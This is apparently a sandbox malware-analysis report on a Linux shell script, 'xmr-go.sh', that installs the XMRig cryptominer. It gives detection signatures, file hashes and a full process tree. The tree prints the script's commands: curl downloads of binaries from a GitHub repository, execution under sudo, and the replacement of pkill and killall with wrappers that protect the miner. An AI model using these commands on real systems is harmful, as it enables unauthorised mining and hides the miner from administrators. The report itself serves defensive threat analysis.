Overview

overview

10

Static

static

1

xmr-go.sh

ubuntu-18.04-amd64

1

xmr-go.sh

ubuntu-20.04-amd64

10

xmr-go.sh

ubuntu-22.04-amd64

10

xmr-go.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    38s
  • max time network
    39s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    03-09-2024 19:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    xmr-go.sh

  • Size

    774B

  • MD5

    2c1e821e7f6738e959ba33002a6cc08f

  • SHA1

    615877939420f0055237fc8b6dbf1b54034ab599

  • SHA256

    af92f36f142bcc7b514af34a43ec76f1f11e748ef56549619b2af0d27cf61f2a

  • SHA512

    94562b41fb17bf2baa2d43c8a9a7f57d93a556dba3b670831d2b87b9ac9c25617a4b6e4461d8c0211ec740dcbab0c148f1229f57421b30f48478d283f0555640

Score
10/10
xmrig_linuxantivmevasionminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 4 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Reads list of loaded kernel modules 1 TTPs 1 IoCs

    Reads the list of currently loaded kernel modules, possibly to detect virtual environments.

    evasion
  • Write file to user bin folder 1 TTPs 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 46 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 29 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/xmr-go.sh
    /tmp/xmr-go.sh
    1⤵
      PID:2500
      • /usr/bin/uname
        uname -m
        2⤵
          PID:2502
        • /usr/bin/curl
          curl -LO https://github.com/spetterman66/verynicerepo/raw/main/prepare.bin
          2⤵
          • Writes file to tmp directory
          PID:2503
        • /usr/bin/chmod
          chmod +x prepare.bin
          2⤵
            PID:2509
          • /tmp/prepare.bin
            ./prepare.bin
            2⤵
            • Executes dropped EXE
            PID:2510
          • /bin/bash
            ./prepare.bin -c "exec './prepare.bin' \"\$@\"" ./prepare.bin
            2⤵
              PID:2510
            • /tmp/prepare.bin
              ./prepare.bin
              2⤵
              • Executes dropped EXE
              PID:2510
            • /bin/bash
              ./prepare.bin -c " #!/bin/bash # check if user has sudo, else exit sudo -n true if [ \$? -eq 0 ]; then echo \"You have sudo permissions.\" else echo \"You do not have sudo permissions.\" exit 1 fi # -------- PKILL SECTION -------- result=\$(which pkill) sudo -n mv \$result \$result.bak sudo -n echo '#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi' > \$result sudo -n chmod +x \$result # -------- KILLALL SECTION -------- result=\$(which killall) sudo -n mv \$result \$result.bak sudo -n echo '#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi' > \$result sudo -n chmod +x \$result" ./prepare.bin
              2⤵
              • Write file to user bin folder
              PID:2510
              • /usr/bin/sudo
                sudo -n true
                3⤵
                  PID:2511
                  • /usr/bin/true
                    true
                    4⤵
                      PID:2512
                  • /usr/bin/which
                    which pkill
                    3⤵
                      PID:2513
                    • /usr/bin/sudo
                      sudo -n mv /usr/bin/pkill /usr/bin/pkill.bak
                      3⤵
                        PID:2514
                        • /usr/bin/mv
                          mv /usr/bin/pkill /usr/bin/pkill.bak
                          4⤵
                            PID:2515
                        • /usr/bin/sudo
                          sudo -n echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi"
                          3⤵
                          • Reads runtime system information
                          PID:2516
                          • /usr/bin/echo
                            echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi"
                            4⤵
                              PID:2517
                          • /usr/bin/sudo
                            sudo -n chmod +x /usr/bin/pkill
                            3⤵
                              PID:2518
                              • /usr/bin/chmod
                                chmod +x /usr/bin/pkill
                                4⤵
                                  PID:2519
                              • /usr/bin/which
                                which killall
                                3⤵
                                  PID:2520
                                • /usr/bin/sudo
                                  sudo -n mv /usr/bin/killall /usr/bin/killall.bak
                                  3⤵
                                    PID:2521
                                    • /usr/bin/mv
                                      mv /usr/bin/killall /usr/bin/killall.bak
                                      4⤵
                                        PID:2522
                                    • /usr/bin/sudo
                                      sudo -n echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi"
                                      3⤵
                                        PID:2523
                                        • /usr/bin/echo
                                          echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi"
                                          4⤵
                                            PID:2524
                                      • /usr/bin/sudo
                                        sudo -n chmod +x /usr/bin/killall
                                        2⤵
                                          PID:2510
                                          • /usr/bin/chmod
                                            chmod +x /usr/bin/killall
                                            3⤵
                                              PID:2525
                                          • /usr/bin/rm
                                            rm xmr_linux_amd64
                                            2⤵
                                              PID:2526
                                            • /usr/bin/curl
                                              curl -LO https://github.com/spetterman66/verynicerepo/raw/main/xmr_linux_amd64
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:2527
                                            • /usr/bin/chmod
                                              chmod +x xmr_linux_amd64
                                              2⤵
                                                PID:2547
                                              • /usr/bin/sudo
                                                sudo -n ./xmr_linux_amd64
                                                2⤵
                                                  PID:2548
                                                  • /tmp/xmr_linux_amd64
                                                    ./xmr_linux_amd64
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Reads list of loaded kernel modules
                                                    • Checks CPU configuration
                                                    • Reads CPU attributes
                                                    • Enumerates kernel/hardware configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:2549
                                                    • /usr/bin/sudo
                                                      sudo -n true
                                                      4⤵
                                                        PID:2553
                                                        • /usr/bin/true
                                                          true
                                                          5⤵
                                                            PID:2554
                                                        • /usr/bin/sudo
                                                          sudo -n /tmp/xmrig/xmrig-6.21.3/xmrig
                                                          4⤵
                                                            PID:2555
                                                            • /tmp/xmrig/xmrig-6.21.3/xmrig
                                                              /tmp/xmrig/xmrig-6.21.3/xmrig
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Checks hardware identifiers (DMI)
                                                              • Reads hardware information
                                                              • Checks CPU configuration
                                                              • Reads CPU attributes
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:2556

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/prepare.bin
                                                      Filesize

                                                      15KB

                                                      MD5

                                                      9304c43102d72225b64e2031c26f4975

                                                      SHA1

                                                      b898d1cb78830ffb21592f8fc4be8b7ac7d703d1

                                                      SHA256

                                                      636c27eaaa247cc54c71ec7b0572f751b85f6e6c5895010050cc644a5575b092

                                                      SHA512

                                                      70df19f4039b794382cb262fb7dd428c951554c473df016bf9b5d896b43e035444ecbaa56fd16b90a595962647cd78187319e16f92d082e9c566757569705f11

                                                      Download Submit

                                                    • /tmp/xmr_linux_amd64
                                                      Filesize

                                                      8.8MB

                                                      MD5

                                                      02b37d826be05450ceb4f4f1ddb93467

                                                      SHA1

                                                      237bb1a0bb4efcd2219706504262e90cacadf49a

                                                      SHA256

                                                      5d7fb7acbd9fa047b6a24b0b5ea91e3d3775e79b56bc69240c2b482078951467

                                                      SHA512

                                                      a625e9655fa43c3f428a0815d26c342abbfd73ab1f0389dd0d4f3601294e8eba9fca511fe27db86c48ed857286184a4b80721dc4d467313ebc09e79892713999

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig-6.21.3/SHA256SUMS
                                                      Filesize

                                                      150B

                                                      MD5

                                                      4f3be397a97fe6981754daeff1c2b77b

                                                      SHA1

                                                      251612464045242636103e61da4a0bc02c8fb99b

                                                      SHA256

                                                      1410925f0ec5a63a042402fd06a1037c06530aefa065aa80a242d82b580c571c

                                                      SHA512

                                                      a22c03e97750a3bd02021514fd12475f502934d94f6b7cf44a2d0a3469618864f8e31df09e84db5f1f1e1be277492922528c614a67dc766754ca4f2e003c880a

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig-6.21.3/config.json
                                                      Filesize

                                                      3KB

                                                      MD5

                                                      35cacab2e4e8bbc0e434c637414d8d77

                                                      SHA1

                                                      dcac68055fa2eb6f294b0371693e74e419183562

                                                      SHA256

                                                      61fc9c087231e76cef49b7409939b29a9a09944bfee6f35935ae36edfc5367e2

                                                      SHA512

                                                      4ba9454745ffe1914bcdfd8460a26bfcd904eca18fcf40877a487598f94831a5e407676a0dd022e6f0e4bc54566aa5d82846b5f6fed499a446cc424d3114a48f

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig-6.21.3/config.json
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      66f38c96a4901e7b345787c447842b3e

                                                      SHA1

                                                      2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                                                      SHA256

                                                      2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                                                      SHA512

                                                      71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig-6.21.3/config.json
                                                      Filesize

                                                      3KB

                                                      MD5

                                                      2c63dc93a2c74d2a6f6ead20ffa50cdb

                                                      SHA1

                                                      e7a54d662d30702518f88860c88c6a7e55d200be

                                                      SHA256

                                                      d094b093b5d5a1b833828ef566318915be92bf95e03dd36b25eb6832e6b5099d

                                                      SHA512

                                                      dc8f70e77818e7248fa1d251d8d67c0a52af9ca372cb480b58c228855aa0413c0e6a8170622725f2745d90e780e71a5f7b9b3c4a68997a92fdef85153d863d4b

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig-6.21.3/xmrig
                                                      Filesize

                                                      7.9MB

                                                      MD5

                                                      7429d24207b100f6c164bf4703b5941e

                                                      SHA1

                                                      a7fad4de1ce0ed2c137c09d4bf9fe7276555f4a0

                                                      SHA256

                                                      72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f

                                                      SHA512

                                                      7d9bcb836d154f5f143815749c36dc928036fb718f4242062a70aa921cbffdd763e167552c79070df1ad8ae7c02647892bcfaa859e24137c3cd41a7f6f6cae27

                                                      Download Submit

                                                    • /tmp/xmrig/xmrig.tar.gz
                                                      Filesize

                                                      3.3MB

                                                      MD5

                                                      06b8367fc7b84a666a561a6915a4501d

                                                      SHA1

                                                      d06991f03408390059df8fc387ac7923e4b5fb7a

                                                      SHA256

                                                      a0eefd7a5c0efd1cac153a075b4fdead443a04f11cc587a09bd5ac09e174f10f

                                                      SHA512

                                                      8d507bc49cebf932b7f248c5aea83977352e8e88e02cdbb6cc57d040c0e754ab514106156d42a0ada5d3d4dd549cd6272ec9aca966127430b51680926f98e204

                                                      Download Submit

                                                    • /usr/bin/killall
                                                      Filesize

                                                      142B

                                                      MD5

                                                      b02773cbcd5ea8921fbac0b5c577d923

                                                      SHA1

                                                      1117beac3937d9280678f433d6c7fa51c1e00b0b

                                                      SHA256

                                                      f4a1d3344d10e4941aa67977b9edb8214b56f532fafc00b66690a0ebfd8ad612

                                                      SHA512

                                                      c95575e85983e9a0ee2e312d008a5f52cf9c5923800b9f613038400116e254b9c27ae5a3f449357b0724269063bb9930b35e227a05a0e922b5bc3f2246da973c

                                                      Download Submit

                                                    • /usr/bin/pkill
                                                      Filesize

                                                      140B

                                                      MD5

                                                      50c285d9bda626a5f6332495ea4527c2

                                                      SHA1

                                                      a72dd91ff971ed8bb5ba482ccb357d834500d672

                                                      SHA256

                                                      61cf2020ce8c121cd8312fb03e724077fc43efa3737cf2c3cebc5ad45b39b021

                                                      SHA512

                                                      2b49d193929e8c0fd82c89c535626f47475cff8f477a75054d0e35eb6fb402161a98e19526af9fa64d1a885746959a9c8988dd28f3efb6853179982902482adc

                                                      Download Submit